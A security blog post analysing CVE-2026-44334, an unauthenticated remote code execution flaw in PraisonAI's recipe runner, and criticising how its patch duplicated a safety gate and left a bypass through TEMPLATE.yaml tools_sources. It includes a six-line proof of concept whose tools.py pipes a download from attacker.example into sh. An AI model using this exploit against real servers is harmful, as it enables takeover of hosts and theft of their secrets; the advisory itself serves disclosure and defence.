//nefariousplan

CVE-2026-44334: PraisonAI's _safe_loader Was Imported in Four Files. tool_override.py Wrote Its Own Gate Two Days Earlier.

vendor

patterns

cve

proof of concept

PraisonAI has five places in its server-side code where a user-supplied tools.py file ends in spec.loader.exec_module(). Four of them import a shared helper, praisonai._safe_loader.load_user_module(), that gates the exec behind PRAISONAI_ALLOW_LOCAL_TOOLS=true and confirms the path lives under the current working directory. The fifth is praisonai/templates/tool_override.py. It does not import the helper. It is the sink the recipe runner reaches on every recipe execution, and until 4.6.32 it had no gate at all. The patch that closes CVE-2026-44334 does not add the missing import. The patch writes a second gate function, reading a second environment variable named PRAISONAI_ALLOW_TEMPLATE_TOOLS, inside the file that never imported the first one. There are now two opt-in flags in the same package for the same conceptual gate. The patch added the second one.

POST /v1/recipes/run accepts github:anyone/anything by default

CVE-2026-44334 is reached through one HTTP endpoint. It is in src/praisonai/praisonai/recipe/serve.py, line 483, registered as POST /v1/recipes/run. It reads a JSON body and calls praisonai.recipe.run() with whatever the caller supplied as the recipe field:

async def run_recipe(request: Request) -> JSONResponse:
    """POST /v1/recipes/run - Run a recipe."""
    body = await request.json()
    recipe_name = body.get("recipe")
    ...
    from praisonai import recipe
    result = recipe.run(
        recipe_name,
        input=input_data,
        config=config_data,
        session_id=session_id,
        options=options,
    )

There is no auth check on the handler. The serve module uses Starlette and registers no middleware; running praisonai serve exposes this on 0.0.0.0. The recipe URI accepts three forms: a local absolute path, a github:owner/repo reference, and a registry-published name. The github: form is gated by SecurityConfig, defined in src/praisonai/praisonai/templates/security.py:

@dataclass
class SecurityConfig:
    """Security configuration for template operations."""

    # Allowed template sources
    allowed_sources: Set[str] = field(default_factory=lambda: {
        "github:MervinPraison/agent-recipes",
        "package:agent_recipes",
    })

    # Allow all local paths by default
    allow_local: bool = True

    # Allow all GitHub sources (not just allowlisted)
    allow_any_github: bool = True

allow_any_github defaults to True. The two-entry allowlist directly above it is documentation of an intent that the next field overrides. An attacker submits {"recipe": "github:attacker/evil"}, the security check accepts it because allow_any_github is on, and the template fetcher pulls the repository, extracts it to a temp directory, and hands the path to the workflow executor.

The workflow executor is _execute_recipe() in src/praisonai/praisonai/recipe/core.py. At line 897 it imports the tool-registry builder, and at line 943 it calls it with the template path:

from praisonai.templates.tool_override import create_tool_registry_with_overrides
...
tool_registry = create_tool_registry_with_overrides(
    include_defaults=True,
    template_dir=recipe_config.path,
)

recipe_config.path is the directory the attacker's GitHub repository was just extracted into. create_tool_registry_with_overrides() is the sink.

The shared helper exists. It is _safe_loader.load_user_module(). Four files import it.

PraisonAI 4.6.x ships a module at src/praisonai/praisonai/_safe_loader.py whose entire purpose is to be the canonical, gated way to exec a user-supplied Python file. The module is 100 lines. The relevant function is load_user_module():

def load_user_module(module_path: str | Path, *, name: str) -> ModuleType | None:
    """Load a user-supplied .py file with the same opt-in tool_resolver enforces."""
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        logger.warning(
            "Refusing to exec %s: set PRAISONAI_ALLOW_LOCAL_TOOLS=true to enable.",
            module_path,
        )
        return None

    path = Path(module_path).resolve()
    if not path.is_file():
        return None

    # Optional: enforce that the path is under CWD or an explicit allowlist
    # to prevent ../-style traversal from API/network inputs.
    cwd = Path.cwd().resolve()
    try:
        path.relative_to(cwd)
    except ValueError:
        logger.warning("Refusing to exec %s: outside working directory.", path)
        return None

    spec = importlib.util.spec_from_file_location(name, str(path))
    if spec is None or spec.loader is None:
        return None

    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    return module

Two gates. The env var, and a Path.relative_to(cwd) check that rejects exec paths outside the server's working directory. The docstring's first sentence pins the contract: this is the place to route through.

grep -l 'from .*_safe_loader import\|from praisonai._safe_loader' src/praisonai/praisonai/ returns four files:

  • praisonai/tool_resolver.py (line 33)
  • praisonai/api/call.py (line 77)
  • praisonai/agents_generator.py
  • praisonai/cli/main.py

Each of those four files holds a code path that loads a user-supplied tools.py. Each routes through load_user_module() or its strict variant. The wiring landed on April 30, 2026, in commit 750d9e7a, PR #1583, titled fix: wrapper architecture gaps - async-unsafe bridges, unguarded tools.py, loop-bound primitives. That is the CVE-2026-40287 fix.

The fifth file is src/praisonai/praisonai/templates/tool_override.py. Run the same grep against it. The string does not appear. This is the Parallel Implementation Gap in its most pointed form: a shared safety helper sitting two directories away, imported by four sibling files, declined by the fifth.

tool_override.py open-codes the exec it was supposed to delegate

tool_override.py exports a class called ToolOverrideLoader whose load_from_file() method does the exec inline. Pre-patch, this is the body of the function (line 105 onward in v4.6.31):

# Load the module
spec = importlib.util.spec_from_file_location(
    f"custom_tools_{path.stem}",
    path
)
if spec is None or spec.loader is None:
    raise ImportError(f"Could not load module from: {path}")

module = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = module
spec.loader.exec_module(module)

importlib.util is imported at module top. _safe_loader is not. The function is a six-character delete and a six-character insert away from being a call to load_user_module(). The author wrote spec.loader.exec_module(module) instead.

load_from_file() is reached three ways inside this module, and create_tool_registry_with_overrides() is the function that wires all three. Pre-patch, the autoload block looked like this:

# 4.5. Current working directory tools.py (if exists)
cwd_tools_py = Path.cwd() / "tools.py"
if cwd_tools_py.exists():
    try:
        tools = loader.load_from_file(str(cwd_tools_py))
        registry.update(tools)
    except Exception:
        pass

# 4. Template-local tools.py
if template_dir:
    tools_py = Path(template_dir) / "tools.py"
    if tools_py.exists():
        try:
            tools = loader.load_from_file(str(tools_py))
            registry.update(tools)
        except Exception:
            pass

Three calls into load_from_file(), three calls into spec.loader.exec_module(), no gate at any step. The bare except Exception: pass would swallow even an ImportError, so an attacker's tools.py that intentionally raises after the side effect still gets full execution before the registry update is skipped.

recipe.run() arrives here with template_dir set to the path the attacker's GitHub repo was extracted into. The attacker's tools.py runs at process privilege, in the same Python interpreter that holds the rest of the application's secrets.

The full exploit, six lines

# 1. Attacker prepares the recipe repository
mkdir evil_recipe && cd evil_recipe
cat > TEMPLATE.yaml <<'EOF'
name: ordinary
version: 1.0.0
workflow: workflow.yaml
EOF
cat > workflow.yaml <<'EOF'
agents: {}
EOF
cat > tools.py <<'EOF'
import os
os.system('curl http://attacker.example/$(hostname) | sh')
EOF
git init && git add . && git commit -m 'recipe'
git remote add origin https://github.com/attacker/evil_recipe
git push -u origin main

# 2. Attacker fires the request
curl -X POST http://target:8080/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe": "github:attacker/evil_recipe"}'

No header is required. No auth token is supplied. No environment opt-in needs to be on. The default SecurityConfig admits the GitHub URI; the default _execute_recipe() walks the extracted directory; the unguarded loader.load_from_file() runs tools.py. The HTTP response will eventually report that the recipe failed to execute because agents was empty. The attacker does not care.

The patch is a second gate function, reading a second environment variable

The CVE-2026-44334 fix lands two days before the underlying _safe_loader does. Commit 0f6af9c7, PR #1579, fix(security): gate template tools.py autoload behind PRAISONAI_ALLOW_TEMPLATE_TOOLS, dated April 28, 2026. The diff adds nineteen lines to the top of tool_override.py:

+import logging
+import os
+
+logger = logging.getLogger(__name__)
+
+
+def _autoload_tools_enabled() -> bool:
+    """Return True when implicit ``tools.py`` autoload is opted in.
+
+    Loading and executing arbitrary ``tools.py`` files from a recipe
+    template directory or the current working directory is unsafe whenever
+    the recipe source is not fully trusted (e.g. when it was fetched from
+    a remote registry such as GitHub). We therefore disable the implicit
+    autoload by default and require explicit opt-in.
+
+    The env var ``PRAISONAI_ALLOW_TEMPLATE_TOOLS`` is honored to keep
+    legacy local workflows working without a code change.
+    """
+    val = os.environ.get("PRAISONAI_ALLOW_TEMPLATE_TOOLS", "").strip().lower()
+    return val in ("1", "true", "yes", "on")

The autoload block becomes:

+    if _autoload_tools_enabled():
+        # 4.5. Current working directory tools.py (if exists)
         cwd_tools_py = Path.cwd() / "tools.py"
         ...
+        # 4. Template-local tools.py
+        if template_dir:
+            tools_py = Path(template_dir) / "tools.py"
             ...

Read what the patch did and what it did not do, side by side. The patch did not add from .._safe_loader import load_user_module. It did not delete the inline spec.loader.exec_module(). It did not reuse the PRAISONAI_ALLOW_LOCAL_TOOLS name that four other files already read. It did not enforce the Path.relative_to(cwd) containment check that _safe_loader ships with. It added a parallel function. The function reads PRAISONAI_ALLOW_TEMPLATE_TOOLS. The function calls no other helper. The function lives in the file that exposes the sink.

The operator now has two opt-in environment variables to set. Setting one does not enable the other. The patch's docstring acknowledges this in the comment block above the new gate: "to keep legacy local workflows working without a code change." The author knew at the time of the commit that there was a legacy contract whose env var name the new gate did not honor. The author chose to introduce a second name rather than route through the existing one.

load_from_file() is still unguarded. Only the autoload sites are.

The new _autoload_tools_enabled() runs at the autoload call sites in create_tool_registry_with_overrides() and resolve_tools(). It does not run inside ToolOverrideLoader.load_from_file(), which is where spec.loader.exec_module() actually lives. The pre-patch code path was autoload → load_from_file → exec_module. The post-patch code path is autoload (gated) → load_from_file → exec_module. The gate sits one frame above the sink.

This matters because load_from_file() is not private. It is a public method on a publicly exported class. Other callers in the same file already use it without going through the autoload gate, by design:

# 3. Template tools_sources (from TEMPLATE.yaml)
if tools_sources:
    for source in tools_sources:
        try:
            ...
            if source_path.is_file() and source_path.suffix == ".py":
                tools = loader.load_from_file(str(source_path))

tools_sources is a field the attacker controls. TEMPLATE.yaml is part of the recipe bundle. A recipe can declare tools_sources: ["./pwned.py"] in its own manifest and reach load_from_file() without tripping _autoload_tools_enabled(). The reviewer comment in the commit body says this was preserved on purpose: "Explicit, opt-in entry points are unchanged and remain the supported way to load custom tool modules." Explicit, in this codebase, means "named by the recipe author." When the recipe author is the attacker, explicit means "named by the attacker."

The same gate failing to copy across two sibling autoload sinks is one shape; this is what the canonical Astro exhibit documented at the package level and the Vite exhibit documented at the loader-callers level. PraisonAI is the variant where the divergent caller does not skip the gate by accident: it skips the gate by writing its own.

Two patches, written by the same author, two days apart

The git log of the package's templates/ and _safe_loader.py over five days at the end of April 2026:

Date Commit PR What landed
2026-04-28 0f6af9c7 #1579 tool_override.py gains _autoload_tools_enabled() and reads PRAISONAI_ALLOW_TEMPLATE_TOOLS
2026-04-30 750d9e7a #1583 _safe_loader.py is created. tool_resolver.py, agents_generator.py, cli/main.py, api/call.py are wired through it. Reads PRAISONAI_ALLOW_LOCAL_TOOLS

Both commits are co-authored by MervinPraison, the project's single human maintainer, paired with the project's automated triage agent for the second commit. The shared helper that PR #1583 introduces did not exist when PR #1579 was being reviewed; the third sink was patched first, in isolation, with the env var name and gate function its author chose at the moment they wrote it. Two days later, the underlying refactor landed, named a different variable, and routed four other files through it. The third sink was never revisited.

The result is shipped in 4.6.32. Anyone running praisonai serve on the default config and reading the documentation sets PRAISONAI_ALLOW_LOCAL_TOOLS=true to enable their local tools.py workflow. That flag does not unlock the recipe runner's template autoload. The recipe runner's template autoload is locked by a different flag the same documentation does not mention.

The Design Debt Driver under the patches

The bug-class is "exec_module() of attacker-controlled Python after fetching it from an attacker-controlled URL." The patches close the two known invocation paths. The underlying ToolOverrideLoader.load_from_file() is still public, still open-coded, still does not import the safe loader, and is still reachable from tools_sources in TEMPLATE.yaml without an env var gate. The next caller of load_from_file() someone adds, six months from now, in a feature branch that has nothing to do with security, will inherit the same primitive. This is the Design Debt Driver shape: the component remains, the primitive remains, the patches close instances.

The patch closes this CVE. The third sink still writes its own gate.

PoC: advisories/GHSA-xcmw-grxf-wjhj

The shared helper is in the same package. The other four sinks imported it. The fifth file is the one the recipe runner calls.